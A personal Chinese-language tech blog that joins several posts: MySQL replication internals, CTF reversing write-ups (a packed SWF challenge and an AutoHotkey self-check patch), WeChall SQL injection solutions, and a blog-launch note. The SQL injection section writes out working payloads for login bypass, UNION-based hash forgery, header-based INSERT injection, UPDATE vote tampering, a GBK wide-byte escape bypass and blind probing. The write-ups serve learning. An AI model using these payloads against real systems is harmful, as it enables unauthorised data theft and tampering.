MySQL Replication

因为工作原因了解了一下MySQL Replication(复制)相关的内容,然后感觉好久没写博客了,所以有了这一篇博客。说是了解了一下,但是其实也没看多久,所以如果发现错误欢迎指出~

基本概念:

  1. Binlog:MySQL 层面的log,常用于同步,审计等等。Binlog中的基本单位为Event,有几种形态:
    1. Statement Based:记录SQL语句
    2. Row Based:记录对表中行的修改
    3. Mix:优先使用Statement Based,对于Statement Based不支持的语句,使用Row Based。
  2. WAL:存储引擎层面的log,比如Rocksdb中的WAL,InnoDB中的Redolog。
  3. 以上两者间通过XA保证一致性
  4. Relay Log:Binlog在远端机器上的副本
  5. 位点:当前复制进行到的位置,一般保存在文件或者数据库中。

单机模式

在单机模式下,以上几个Binlog和WAL的工作流程(从上往下为时间轴):

当一个事务完成了Prepare并进入Commit流程后(对应最左侧SQL Commit)
首先会通知存储引擎层进入Prepare状态。对于Innodb,几乎无需进行任何操作,因为修改已经写入Redolog。对于MyRocks,此时需要将内存中的WriteBatch写入WAL。
在存储引擎Prepare完成后开始写入Binlog。
之后依据sync_binlog参数判断是否需要将binlog刷盘。
而后通知存储引擎Commit该修改。
最后响应用户。

当发生crash时,大致有以下几种情况:

  1. Engine中已经Commit:
    Binlog中一定有记录,无需处理
  2. Engine中已经Prepared,Binlog中有记录:
    通知 Engine Commit
  3. Engine中已经Prepared ,Binlog中没有记录:
    通知 Engine Rollback
  4. Engine还没Prepare:
    事务还没执行完,通知 Engine Rollback

这样在单机条件下就可以保证Binlog和WAL即使在crash后也依旧是一致的。

复制(replication)

结构


首先从节点会通过IO线程向主节点注册自身。并告知主节点,自身希望从Binlog的什么位置开始复制。
主节点收到从节点的注册后就会拉起一个线程开始向从节点发送数据。
IO线程接收到主库发来的Events就会放进relay log
SQL线程负责在从库apply这些relay log

常见的几种复制模式:

异步复制:


与单机模式的区别就是在通知存储引擎Prepare的同时,会推送这个事务给从节点,但并不等待从返回,直接继续。
在这种模式下,从节点的log可能是与主节点不一致的,如果主节点宕机,则会丢失还未被同步到从节点的事务。

半同步

为了尽可能的提高主从切换之后的数据一致性,MySQL还提供了称之为半同步的模式:

与异步的主要区别是,在通知存储引擎后,必须等待至少一个从节点(新版可以配置至少等待多少个节点完成)已经将发送过去的Event落盘并回复,之后才能给用户发送响应。
如果超过设定的超时时间还没有从节点反馈,则退化为异步复制。若之后又有从节点注册到主节点上,则恢复半同步复制。
这样当用户完成一次写请求时,可以保证对应的数据至少已经保存在两个数据库中了。

然而这种流程下依然存在着问题,设想以下这种情况:

主节点到从节点的网络突然中断,两次发送的enqueue请求均没有到达从节点。而在此时主节点宕机。
这样会出现两个问题:

  1. 主从数据不一致。首先由于主宕机,我们会切换到从节点继续服务。当旧的主节点重新拉起后,会发现该条事务同时出现在Binlog和WAL中,故会通知引擎层Commit该事务。然而该事务在新的主节点(旧的从节点)上并不存在,进而导致旧的主节点无法与新的主节点(旧的从节点)建立同步关系。
  2. 幻读。当存储引擎层Commit后,该事务造成的修改就对读请求可见了,然而主从切换之后,新的主节点(旧的从节点)并没有该条事务的记录。从客户端的视角来看就是之前能读取的数据突然不见了,也就是幻读了。注意主节点宕机时并未Respond该写事务,所以并不是数据丢失。

增强(无损)半同步

为了解决以上问题MySQL又引入了增强(无损)半同步。

大致改动就是在存储引擎层Commit之前就要得到从节点的回复,进而解决了以上的问题。

全同步模式

国内大部分对于MySQL的改造版基本都引入了全同步模式/强同步模式/最大保护(Max Protection)模式
与半同步的主要不同是当超时时间内无从节点回复时,不回退至异步模式,而是停止服务,直到有从节点接收到该事务并回复。
主要用于对一致性要求较高的场景,并常通过使用多个备节点来增加可用性。

从节点 Crash Safe

如果从节点发生crash,最直接的问题就是relaylog的位点可能和relaylog不吻合(先写入了relaylog,还没来得及更新位点就崩了)。同理SQL线程执行的位置也有可能和SQL位点不吻合。
MySQL采取的改进方式也很直接:将位点保存在数据库中,从而构造一个事务,通过事务的原子性来保证位点的更新和相关的操作是原子的。

//写累了,以下等有空来补


GTID

性能优化

由于半同步模式必须等待从节点返回,所以延迟会比异步模式高。当然“延迟不应该影响吞吐”,所以MySQL为了半同步模式下的吞吐做了很多优化。

Group Commit

并行apply

异步传输binlog

HA

GitHub October 21 Incident

GeekPwnCTF2016 qual HugMe-300

一个加了壳的swf(后来知道是doswf的壳)

先preload挂个TheMiner,然后看loader的内容,脱去第一层壳。

反编译取出的swf,发现一个坑

显示出来的hugme啥用都没有。。。需要点击的那个hugme又没被正确加载。。需要自己做修改
然后才能看见真正的按钮

接着关键的判断逻辑。

然而Verify运行时才载入。。

于是再次脱壳。。。TheMiner没hook loadBytes,所以这里只能自己来
提取出这个函数运行然后把uncompress的结果base64一下,trace打出来。
然后再用python保存成文件。(不会actionscript的文件读写只好这么搞)

然后反编译保存下来的文件,发现校验过程其实就是个方程组

method3没用。。只要符合method2里的方程组,method3一定符合。

然后就是求解方程组得到一组解[14,0,1,14,14,14,13,0,9,3,12,11,2,2,11]
对应的flag e01eeed093cb22b
然而这才15位 。。根据readme的提示,枚举最后一位。。发现e01eeed093cb22bb是hello world的md5

故flag为e01eeed093cb22bb

reversing.kr AutoHotkey2

有autohotkey自带的upx壳
upx
还有自校验。。

这题给的文件是修改过的,所以无法通过自校验
corrupt

考虑到有自校验,所以就没有先脱壳。
直接带壳调试,用堆栈平衡很快找到OEP=00442B4F
oep

然后可以看到第一个关键跳转:
check1
448265必须跳
跟进4508C7,是在计算校验值,并判断。
check_cmp1
ebp-0x10其实是文件的最后四个字节
checksu
所以文件的最后四个字节是计算出的校验值异或0xAAAAAAAA之后得到的值

程序接下来直接利用文件倒数第八到倒数第五个字节作为附加数据开始地址,读取附加数据开头,然后开始判断是否为附加数据,即判断开头是否是以下16个字节
A3 48 4B BE 98 6C 4A A9 99 4C 53 0A 86 D6 48 7D
check2
所以文件的倒数第八到倒数第五个字节是附加数据开始地址
用16进制编辑器可以找到真正的附加数据开头
offest1
然后只需要修正文件的最后8个字节即可,注意修改附加数据地址也会改变校验值,所以应该先修改附加数据地址,再修改校验值。
最后的修改如下
patch
然后程序就能正常运行了
result
百度一下即可找到答案jonsnow

参考文章

简析AutoIt程序脱壳后的自校验处理_看雪
(这篇文章里讲的是autoit的自校验,比autohotkey的稍微复杂一些(多了一次校验),但是基本方法是一样的,当时看这个文章得到不少思路)

Wechall SQLI

这些题是为了准备安恒杯校内个人赛做的,虽然后来还是没做出安恒杯的sql注入(据说只要用sqlmap扫就行?)

MySQL1

基础入门题
username完全无过滤,可以直接去掉密码验证
查询语句

SELECT * FROM users WHERE username='$username' AND password='$password'

构造:

SELECT * FROM users WHERE username='admin' or ''='' AND password='$password'

传说中的万能密码的原理 admin’ or “=’

MySQL2

依然基础题,南邮的平台上遇到过类似的。
先用用户名取出密码,然后比对密码。只要让sql语句返回一个假的密码就OK了。
查询语句:

SELECT * FROM users WHERE username='$username'

构造:

SELECT * FROM users WHERE username='admin' and 1=2 union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'

注意PHP的md5函数得到的是32位小写的md5

The Guestbook

INSERT INTO gbook_book VALUES('$playerid', $userid, $time, '$ip', '$message')

ip message都是注入点。
ip好像不太好注入。
message可以注。
构造:

INSERT INTO gbook_book VALUES('$playerid', $userid, $time, '$ip', 'aaa') #')

然而有一个mysql_real_escape_string,会自动转译。搜了一下可以通过宽字符绕过。

例子:

<?php  
    header('Content-Type: text/html; charset=GBK');  
    $input = chr(0xbf) . chr(0x27) . ' OR username = username; /*';  
    $value = addslashes($input);  
    $sql = "SELECT * FROM users WHERE username='{$value}' AND password='123123';";  
  
    echo $value;  
    echo '<br>';  
    echo $sql;  
    echo '<br>';  

chr(0xbf) 和 chr(0x27)相连接, 构成一个双字节字符(0xbf27)… 而0xbf27只是一个人为合成的双字节, 不在GBK编码表里, 也就是说不是一个合法的GBK双字节字符… 系统(mysql)会把这个双字节拆分为2个单字节解析(也就是0xbf和0x27), 而addslashes并不知道它是非法的双字节字符, 单引号的GBK编码就是chr(0x27), 单独使用使addslashes是可以识别的…

然而这个洞已经在mysql5.0.x修复了。。作罢

只能从IP注入了。。上burpsuite,加一个X-Forwarded-For

构造:

INSERT INTO gbook_book VALUES('$playerid', $userid, $time, '127.0.0.1',(select gbu_password from gbook_user where  gbu_name='admin'))#‘, '$message')

其实中间复习了一波sql语句。。但是没搞懂怎么在insert语句里用select的结果。。后来发现加一对括号足以。。。

No Escape

要刷票233333
关键语句:

UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1

构造:

UPDATE noescvotes SET `george`=`george`+100 #`=`george`+1 WHERE id=1

实际的url参数:

?vote_for=george`=`george`%2b111%23

注意url转义

Blinded by the light

目标是获取 an md5 password hash
盲注
关键语句

SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'

'union select '1'#直接可以登陆,然而它要密码。。
'or'1'='1'#正确的情况
'or'1'='2'#错误的情况
'or password=password#
发现生成的hash只有ABCDEF0123456789这些字符,就是一个32位的16进制的数
'or password=0#正确。。
弃治看题解。。
题解提到了一个sql函数substring。。
于是去补了一通sql函数

CONCAT( 字串1, 字串2, 字串3, ...)  
SUBSTR (str, pos, len) 
SUBSTR (str, pos)
TRIM()
Length (str)
REPLACE (Region_Name, 'ast', 'astern')

#是个很不靠谱的注释符号
还是用--比较好

最后的解法是二分猜解
解题代码直接看乌云的题解吧。。。

参考资料

MySQL注入技巧_乌云
wechall mysql关卡题解_乌云

Hello Blogo

这个叫blogo的静态博客生成器终于算是基本完成了,这篇文章的发布时间使用的是blogo第一个commit的时间,仔细一看确实是拖了好久啊。现在(1457181826)终于把这个坑填完了。。

一直认为博客的程序应该要自己写,断断续续写了好多。。拿dw点出来的ASP+Access的版本啊,PHP的版本啊,node的版本啊,一直到现在这个Go写的Blogo。

然而前面的那些都因为各种原因只在本地跑过,从未真正可以被外界访问。这个Blogo是第一个真正投入使用的版本。看到博客成功被push到Github上的时候很开心啊。

评论部分暂且用了多说,不排除未来用disqus的可能性。

最后是一波感谢:
生成器部分参考了天天大神的Catsup
前端参考了萝莉聚聚的ricter.me
灰常感谢


你问背景是谁?背景是我头像的女票。没错。。头像的。。我头像有女票你怕不怕(好像是个悲伤的故事)233333